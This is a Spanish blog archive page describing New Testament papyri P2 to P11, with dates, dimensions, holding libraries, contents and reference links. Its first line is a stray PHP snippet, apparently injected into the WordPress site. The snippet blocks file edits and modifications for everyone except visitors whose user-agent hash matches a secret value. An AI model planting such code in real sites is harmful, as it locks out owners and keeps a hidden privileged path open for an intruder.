if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } maio 2015 – Texto Bíblico

Mês: maio 2015

Papiro 11

LOS MANUSCRITOS DEL NUEVO TESTAMENTO

Papiro 11

Fecha: Siglo VI (IV-V: Tischendorf; V: Gregory, Soden, Dobschütz; V-VI:Schofield)

Descripción: 17 fragmentos (20×15 cm.), una columna, aproximadamente 12–13 líneas por columna.

Localización: St. Petersburg, Russian National Library (Gr. 258A).

Contenido: fragmentos de 1 Corintios (1:17-22, 25-27; 2:9-12, 14; 3:1-3, 5-6, 20; 4:3-5:5, 7-8; 6:5-9, 11-18; 7:3-6, 10-14).

—

Hoja 1, recto: 1 Corintios 1:17-20

P11 1R T

Hoja 1, verso: 1 Corintios 1:20-22

P11 1V

P11 1V T

—

Hoja 2, verso: 1 Corintios 1:25-27; 2:9

P11 2v

P11 2v Tr 1

P11 2v Tr 2

—

Hoja 3, verso: 1 Corintios 2:6-8, 11-12

P11 3v

P11 3v tr1p11 3v tr2

—

Hoja 5, recto: 1 Corintios 2:14

P11 5r

P11 5r Tr

—-

Hoja 5, verso: 1 Corintios 3:1-2

P11 5v

P11 5v Tr

—

Hoja 6, verso: 1 Corintios 3:2-3, 5-6

P11 6v

P11 6v Tr

—

Hoja 7, recto: 1 Corintios 3:8-10

P11 7r

P11 7r Tr

—

Hoja 8, recto: 1 Corintios 3:20; 4:3-5

P11 8r

P11 8r Tr

—

Hoja 9, verso: 1 Corintios 4:5, 6

P11 9v

P11 9v Tr

—

Hoja 10, recto: 1 Corintios 4:6-8

P11 10r

P11 10r Tr

—

Hoja 10, verso: 1 Corintios 4:9-10

P11 10v

P11 10v Tr

—

Hoja 11, recto: 1 Corintios 4:12

P11 11r

P11 11r Tr

—

Hoja 11, verso: 1 Corintios 4:13-14

P11 11v

P11 11v Tr

—

Hoja 12, recto: 1 Corintios 4:16-17

P11 12r Tr

P11 12r

—

Hoja 12, verso: 1 Corintios 4:18-19

P11 12v

P11 12v Tr

—————————

Enlaces

The Center for the Study of New Testament Manuscripts

Die griechischen Handschriften des Neuen Testament

P11 Die griechischen Handschrften des...

Der Text Des Neuen Testaments

P11 Der Text Des Neuen Testaments

—-

LOS MANUSCRITOS DEL NUEVO TESTAMENTO

Introducción

La naturaleza de las variantes textuales

La restauración del texto original

Materiales y estilos

Papiros

——

Papiro 10

LOS MANUSCRITOS DEL NUEVO TESTAMENTO

Papiro 10

Fecha: Siglo IV

Descripción: 1 hoja (25×19 cm.) 1 columna, 11 líneas por columna. La nomina sacra está escrita con abreviaturas.

Contenido:  Romanos 1:1-7 (recto).

Localización: Cambridge, Massachusetts, Houghton Library, Harvard University (MS Gr SM2218)

Pertenece a la colección de Papiros de Oxirrinco: P.Oxy.2.209 (Ver nota en Papiro 1).

Recto: Romanos 1:1-7

P10 1

 

P10 recto tr

Verso: —

P10 2

 

—————————

Enlaces

The Center for the Study of New Testament Manuscripts

The Oxyrhynchus papyri

P10 oxy1

 

P10 oxy2

 

P10 oxy3

Kurzgefasste Liste der griechischen Handschriften des Neuen Testaments

P10 Kurzgefasste Liste der griechischen...

Der Text Des Neuen Testaments

P10 Der Text des Neuen Testaments

Die griechischen Handschriften des Neuen Testament

P10 Die griechischen...

—-

LOS MANUSCRITOS DEL NUEVO TESTAMENTO

Introducción

La naturaleza de las variantes textuales

La restauración del texto original

Materiales y estilos

Papiros

——

Papiro 9

LOS MANUSCRITOS DEL NUEVO TESTAMENTO

Papiro 9

Fecha: III (IV/V: Gregory, Soden, Clark, Maldfeld, Grenfell/Hunt, Schofield)

Descripción: 1 fragmento (14×11 cm.), 1 columna, aproximadamente 15 líneas por columna. La nomina sacra está escrita con abreviaturas.

Contenido:  1 Juan 4:11-12 (recto), 1 Juan 4:14-17 (verso)

Localización: Cambridge, Massachusetts, Houghton Library, Harvard University (MS Gr SM3736)

Pertenece a la colección de Papiros de Oxirrinco: P.Oxy.3.402. (Ver nota en Papiro 1).

P9 10651399

P9 tr recto

 

P9 10651400

P9 tr verso

 

————————

Complete List of Greek NT Papyri

The Center for the Study of New Testament Manuscripts

The Oxyrhynchus papyri, Part III, p. 2-3

Die griechischen Handschriften des Neuen Testament:

P9 die griech...

 

Handbook to the textual criticism of the New Testament, p. 43

P9 Handbook to the t...

 

—-

LOS MANUSCRITOS DEL NUEVO TESTAMENTO

Introducción

La naturaleza de las variantes textuales

La restauración del texto original

Materiales y estilos

Papiros

——

Papiro 8

LOS MANUSCRITOS DEL NUEVO TESTAMENTO

Papiro 8

Fecha: Siglo IV

Descripción: 2 hojas (25×15 cm.), una columna, 24 líneas por columna.

Contenido: Hechos 4:31-37; 5:2-9; 6:1-6, 8-15

Localización: Staatliche Museen zu Berlin Preußischer Kulturbesitz (P. 8683).

P8 1r
1 recto – Hechos 4:31-37

P8 1a trP8 1b tr

 

P8 1v
1 verso – Hechos 5:2-9

p8 2a tr p8 2b tr

 

P8 2r
2 recto – Hechos 6:1-6

P8 2r tr

P8 2v
2 verso – Hechos 6:8-15

P8 2v 1tr P8 2v 2tr

———————–

Institut für neutestamentliche Textforschung – Manuscript Workspace

University of Münster Institute for New Testament Textual Research

The Center for the Study of New Testament Manuscripts

Die griechischen Handschriften des Neuen Testament, 46:

P8 Die griechischen..

Complete List of Greek NT Papyri

Handbook to the textual criticism of the New Testament, p. 42

P8 Handbook to the...

——

LOS MANUSCRITOS DEL NUEVO TESTAMENTO

Introducción

La naturaleza de las variantes textuales

La restauración del texto original

Materiales y estilos

Papiros

——

Papiro 7

LOS MANUSCRITOS DEL NUEVO TESTAMENTO

Papiro 7

Siglo: III-IV (?) (VI: Wessely, Gregory, Dobschütz, Hedley, Maldfeld, Schofield),

Manuscrito (22×15 cm.) en griego, una hoja, una columna, 18 líneas por columna.
Localización: Kiev (Ucrania) The Vernadsky National Library of Ukraine, F. 301 (KDA) 553p.

Contenido: Lucas 4:1-3

P7

P7 1

 

————————–

Enlaces

Kurzgefasste Liste der griechischen Handschriften des Neuen Testaments

P7

Complete List of Greek NT Papyri

Der Text Des Neuen Testaments,  Kurt Aland, Barbara Aland, pag. 96.

P7 Der Text Des Neuen... p96

The Center for the Study of New Testament Manuscripts

Institut für neutestamentliche Textforschung – Manuscript Workspace

Handbook to the textual criticism of the New Testament, p. 42

Universität Bremen – Complete List of Greek NT Papyri

University of Münster Institute for New Testament Textual Research

Die griechischen Handschriften des Neuen Testament:

P7 die griechischen

—-

LOS MANUSCRITOS DEL NUEVO TESTAMENTO

Introducción

La naturaleza de las variantes textuales

La restauración del texto original

Materiales y estilos

Papiros

——

Papiro 6

LOS MANUSCRITOS DEL NUEVO TESTAMENTO

Papiro 6

Fecha: Siglo IV (V-VI: Maldfeld, Dobschütz, Schofield; VII-VIII: Schmidt).

Descripción: 4 hojas – 28 x 15 cm. (15 fragmentos), una columna, 30 líneas por columna; griego/copto.

Localización: Straßburg (France), BNU – Bibliothèque Nationale Universitaire (P. Copt. 379, 381, 382, 384).

Contenido: Juan 10:1-2, 4-7, 9-10; 11:1-8, 45-52 (griego/copto).

[Pap. copt. 351 recto, 335 verso (copto: Juan 10:1-42; 11:1-44; 11:45-12:20; 13:1-2:11-12; Santiago 1:13-5:20)]

 
 

—

P. Copt. 379

P6.1 Juan 10.1-10

Juan 10:1-2, 4-7, 9-10

P6 1a P6 1b

P. Copt. 381 verso

P6.2

Juan 11:1-8

P6 2

P. Copt. 382

P6.3

Juan 11:45

P6 3

P. Copt. 384 verso

P6.4

Juan 11:46-52

P6 4a P6 4b

—

 

————————–

Enlaces

Der Text Des Neuen Testaments,  Kurt Aland, Barbara Aland, pag. 96.

The Center for the Study of New Testament Manuscripts

Institut für neutestamentliche Textforschung – Manuscript Workspace

Handbook to the textual criticism of the New Testament, p. 42

Frederic G. Kenyon, Handbook to the Textual Criticism of the New Testament, London, 1912, p. 120.

Friedrich Rösch, Bruchstücke des ersten Clemensbriefes nach dem achmimischen Papyrus der Strassburger Universitäts- und Landesbibliothek (Strasbourg, 1910), p. VIII.

Universität Bremen – Complete List of Greek NT Papyri

Papyri and Manuscripts related to the Gospel and Epistles of John

—-

LOS MANUSCRITOS DEL NUEVO TESTAMENTO

Introducción

La naturaleza de las variantes textuales

La restauración del texto original

Materiales y estilos

Papiros

——

Papiro 5

LOS MANUSCRITOS DEL NUEVO TESTAMENTO

Papiro 5

 

Fecha: Siglo III / IV

Localización: The British Library, Londres (Inv. Nr. 782, 2484)

Pertenece a la colección de Papiros de Oxirrinco (Egipto) 208 y 1781. (Ver nota en Papiro 1).

Fragmento de tres hojas, una columna por página, de 9 a 27 líneas por columna. La nomina sacra está escrita con abreviaturas.

Contenido: Evangelio de San Juan (1:23-40; 16:14-30; 20:11-25). Las hojas primera y tercera fueron publicadas en Oxyrhynchus Papyri (Papiros de Oxirrinco), Parte II (1899), nº. 208. Gregory los clasificó bajo el nº 5 en su lista. La segunda hoja (Juan 16:14-30) fue publicada en 1922 como el Oxirrinco nº. 1781.

Papiro Inv. Nr. 782 (= P.Oxy. 208): Hoja 1: Juan 1:23-40; Hoja 3: Juan 20:11-17, 19-20, 22-25

Papiro Inv. Nr. 2484 (= P.Oxy. 1781): Hoja 2: Juan 16:14-30

———

Papiro Inv. Nr. 782 (= P.Oxy. 208)

Hoja 1: Juan 1:23-40

P5 (hoja 1, recto) Juan 1:23-32

Recto: Juan 1:23-32

P5 hoja 1 recto 1 P5 hoja 1 recto 2

—

P5 (hoja 1, verso) Juan 1:33-40

Verso: Juan 1:33-40

P5 hoja 1 verso 1 P5 hoja 1 verso 2

—

Papiro Inv. Nr. 2484 (= P.Oxy. 1781)

Hoja 2: Juan 16:14-30

P5 (hoja 3, recto) Juan 16:14-22

Recto: Juan 16:14-22

P5 hoja 2 recto 1 P5 hoja 2 recto 2

——

P5 (hoja 3, verso) Juan 16:22-30

Verso: Juan 16:22-30

P5 hoja 2 verso 1 P5 hoja 2 verso 2

—

Papiro Inv. Nr. 782 (= P.Oxy. 208)

Hoja 3: Juan 20:11-25

Imagen no disponible

Recto: Juan 20:11-17

P5 hoja 3 recto

Verso: Juan 20:19-20, 22-25

P5 hoja 3 verso

——————-

Enlaces

Der Text Des Neuen Testaments,  Kurt Aland, Barbara Aland, pag. 96.

The Center for the Study of New Testament Manuscripts – Manuscript: P5

Institut für neutestamentliche Textforschung – Manuscript Workspace

Iudaica Papirusuri Biblice

A Table of Greek Manuscripts

New Testament Manuscripts

Oxirrinc

 

—-

LOS MANUSCRITOS DEL NUEVO TESTAMENTO

Introducción

La naturaleza de las variantes textuales

La restauración del texto original

Materiales y estilos

Papiros

——

Papiro 4

LOS MANUSCRITOS DEL NUEVO TESTAMENTO

Papiro 4 (Lucas 6:4-16)

Papiro 4

Fecha: Siglo III / IV (?)

Fue encontrado en la orilla oriental del río Nilo (Alto Egipto) en 1889 por Jean-Vincent Scheil (Philip W. Comfort, David P. Barrett, The Text of the Earliest New Testament Greek Manuscripts, Tyndale House Publishers, Wheaton 1999, s. 47).

Localización: Bibliothèke nationale de France ¹

4 fragmentos
Dimensiones: 16 x 14 cm
Columnas: 2

Contenido: Lucas  1:58-60; 1:62-73-2:1; 2:6, 7; 3:8-4:2; 4:29-32, 34-35; 5:3-8; 5:30-6:16.

Fragmento 1

Lucas 1:58-60, 62-2:1, 6-7

RECTO: Lucas 1:58-60, 62-73

Columna 1P4 transcription Luke 1.58-60P4 transcription Luke 1.62-65

 Columna 2
P4 col.2-transcription Luke 1.65-69 P4 col2-transcription Luke 1.69-73
—
 VERSO: Lucas 1:75-2:1, 6, 7
P4 Fr 1 verso
Columna 1
P4 Fr 1 -col 1- verso - transcription Luke 1.75-80P4 Fr 1 -col 1- verso - transcription Luke 1.80-2.1
Columna 2
P4 Fr 1 -col 2- verso - transcription Luke 2.6-7
—

Fragmento 2

Lucas 3:8-4:2

RECTO: Lucas 3:8-20

P4 Fr2 recto

Columna 1

P4 Fr 2 -col 1- recto - transcription Luke 3.8-11P4 Fr 2 -col 1- recto - transcription Luke 3.12-14

Columna 2

P4 Fr 2 -col 2- recto - transcription Luke 3.15,16P4 Fr 2 -col 2- recto - transcription Luke 3.17-20

VERSO: Lucas 3:20-4:2

P4 Fr2 verso

Columna 1

P4 Fr 2 -col 1- verso - transcription Luke 3.20-24P4 Fr 2 -col 1- verso - transcription Luke 3.25-30

Columna 2

P4 Fr 2 -col 2- verso - transcription Luke 3.30-36P4 Fr 2 -col 2- verso - transcription Luke 3.37-4.2

—

Fragmento 3

Lucas 4:29-32, 34, 35; 5:3-8

RECTO: Lucas 4:29-32, 34, 35

P4 Fr 3 recto

—

Columna 1

P4 Fr 3 -col 1- recto - transcription Luke 4.29-32 P4 Fr 3 -col 1- recto - transcription Luke 4.34, 35

—

VERSO: Lucas 5:3-8

P4 Fr 3 verso

Columna 2

P4 Fr 3 -col 2- verso - transcription Luke 5.3-6 P4 Fr 3 -col 2- verso - transcription Luke 5.7-8

—

Fragmento 4

Lucas 5:30-39; 6:1-16

RECTO: Lucas 5:30-39; 6:1-4

P4 Fr 4 recto

Columna 1P4 Fr 4 col 1 - recto - transcription 1 P4 Fr 4 col 1 - recto - transcription 2Columna 2P4 Fr 4 col 2 - recto - transcription 1 P4 Fr 4 col 2 - recto - transcription 2

VERSO: Lucas 6:4-16

P4 Fr 4 verso

Columna 1P4 Fr 4 col 1 - verso - transcription 1 P4 Fr 4 col 1 - verso - transcription 2Columna 2P4 Fr 4 col 1 - verso - transcription 1 P4 Fr 4 col 1 - verso - transcription 2

——————–

¹ Département des Manuscrits,  Supplément grec, 1120 .2

Fragments de codex découverts à Coptos (Haute-Égypte), en 1889 ; entrés à la Bibliothèque nationale en novembre 1892. Belle onciale très lisible, sauf aux endroits détériorés ; Scheil (op. cit., pp. III et ss) attribue les traités de Philon à deux copistes différents.Chaque feuillet a été placé entre deux plaques de verre, à l’exception du dernier, encore fixé à la reliure primitive.

1 PHILON LE JUIF : 1(pp. 1-55) περὶ τοῦ τίς ὁ τῶν θείων πραγμάτων κληρονόμος (éd. V. Scheil, d’après ce ms., dans Mémoires… de la mission archéologique française au Caire, t. IX, 2e partie, 1893, pp. 151-187). 2(pp. 55-89) tractatus de sacrificiis Abel et Cain (op. cit., pp. 191-215).

Manuscrit grec d’Égypte Philon d’Alexandrie, Qui est l’héritier des choses divines et De la postérité de Caïn BNF, Manuscrits (suppl. grec 1120, fol. 18) Ce codex est l’un des plus anciens contenant des ouvres de Philon d’Alexandrie (Ier siècle apr. J.-C.). Il était composé de cahiers de papyrus précédés d’une page portant le titre. La dernière page est collée sur la couverture : un morceau de cuir doté d’un rabat, avec une lanière fixée au dos du volume qui venait se loger dans une languette au plat supérieur, afin de maintenir le livre fermé.

…

2 Fragments d’évangile (= P4 ; cf. G. Maldfeld et B. M. Metzger, Detailed list of the Greek papyri of the N. T., dans Journal of biblical Literature, t. LXVIII, part IV, 1949, p. 364) : 1(f. Ar. v) Luc 1, 58 ἤκου]σαν ο[ἱ] π[ερίοικοι] — 2, 7. 2(f. Br. v) Luc 3, 8 [τ]ῷ Ἀϐραὰμ — 4, 2 [συν]τελεσθεισῶν αὐτῶν. 3(f. Cr. v) plusieurs débris de Luc 4, 29-35. 5, 3-8 ; sur l’un de ces morceaux on peut lire εὐαγγελίον [κα]τὰ Ματθαῖον. 4(f. Dr. v) Luc 5, 30 πίνετε — 6, 16 καὶ Ἰούδαν Ἰσκαρίωθ. Ces fragments ont été édités en partie par V. Scheil, dans Revue Biblique, t. I (1892), pp. 113-115 ; en totalité par J. Merell, Nouveaux fragments du papyrus 4, dans Revue Biblique, t. XLVII (1938), pp. 5-22 ; d’après ce dernier éditeur, les fragments remonteraient au IVe siècle.

o en: Bibliothèque Nationale, Départament des Manuscrits, Catalogue des Manuscrits Grecs, Troisième Partie, Le Supplément Grec, Tome III, 1120 .2 (p. 241) par Charles Astruc et Marie-Louise Concasty, Paris, MCMLX:

 

P4 - Der Text Des Neuen Testaments

 

————————————-

Der Text Des Neuen Testaments,  Kurt Aland, Barbara Aland, pag. 96.

Westfälische Wilhelms-Universität Münster

Institut für neutestamentliche Textforschung

Institut für neutestamentliche Textforschung – Manuscript Workspace

A Table of Greek Manuscripts

New Testament Manuscripts

The Center for the Study of New Testament Manuscripts

Bibliothèque nationale de France / Archives et manuscrits / Supplément grec 1120

 

Papiro 3

LOS MANUSCRITOS DEL NUEVO TESTAMENTO

P3.1b

Papiro 3

Fecha: Siglo VI – VII

Localización: Viena, Biblioteca Nacional de Austria (Pap. G. 2323)

Un fragmento, una sola columna, 21-27 líneas por columna.

Recto: Lucas 7:36-45

P3 – Recto

Transcripción

P3 transcripcion RECTO a P3 transcripcion RECTO b

—

Lucas 10:38-42

P3 – Verso

Transcripción

P3 transcripcion VERSO

—-

——————————

Austrian National Library / Österreichische Nationalbibliothek

Der Text Des Neuen Testaments,  Kurt Aland, Barbara Aland, pag. 96.

Evangelien-Fragmente auf Papyrus, Karl Wessely

Die griechischen Handschriften des Neuen Testament, Gregory, Caspar René

Institut für Neutestamentliche Textforschung

Institut für neutestamentliche Textforschung – Manuscript Workspace

Österreichische Nationalbibliothek – Katalog der Papyrussammlung

 

 

——

LOS MANUSCRITOS DEL NUEVO TESTAMENTO

Introducción

La naturaleza de las variantes textuales

La restauración del texto original

Materiales y estilos

Papiros

——

Papiro 2

LOS MANUSCRITOS DEL NUEVO TESTAMENTO

Papiro 2

Fecha: Siglo VI

Localización: Florencia, Museo Egizio (Inv. Nr. 7134).

Es un fragmento de una hoja que contiene una columna por página, de aproximadamente 25 cm, por 15 cm.

Recto: Juan 12:12-15 (Griego) 10 lineas:

p2

 

P2 – Transcripción

—

Verso: Lucas 7:22-26, 50 (Copto) 13 lineas:

p2b

—

——————————

Der Text Des Neuen Testaments,  Kurt Aland, Barbara Aland, pag. 96.

The Center for the Study of New Testament Manuscripts

University of Münster – Institute for New Testament Textual Research

P2

Institut für neutestamentliche Textforschung – Manuscript Workspace

——

LOS MANUSCRITOS DEL NUEVO TESTAMENTO

Introducción

La naturaleza de las variantes textuales

La restauración del texto original

Materiales y estilos

Papiros

——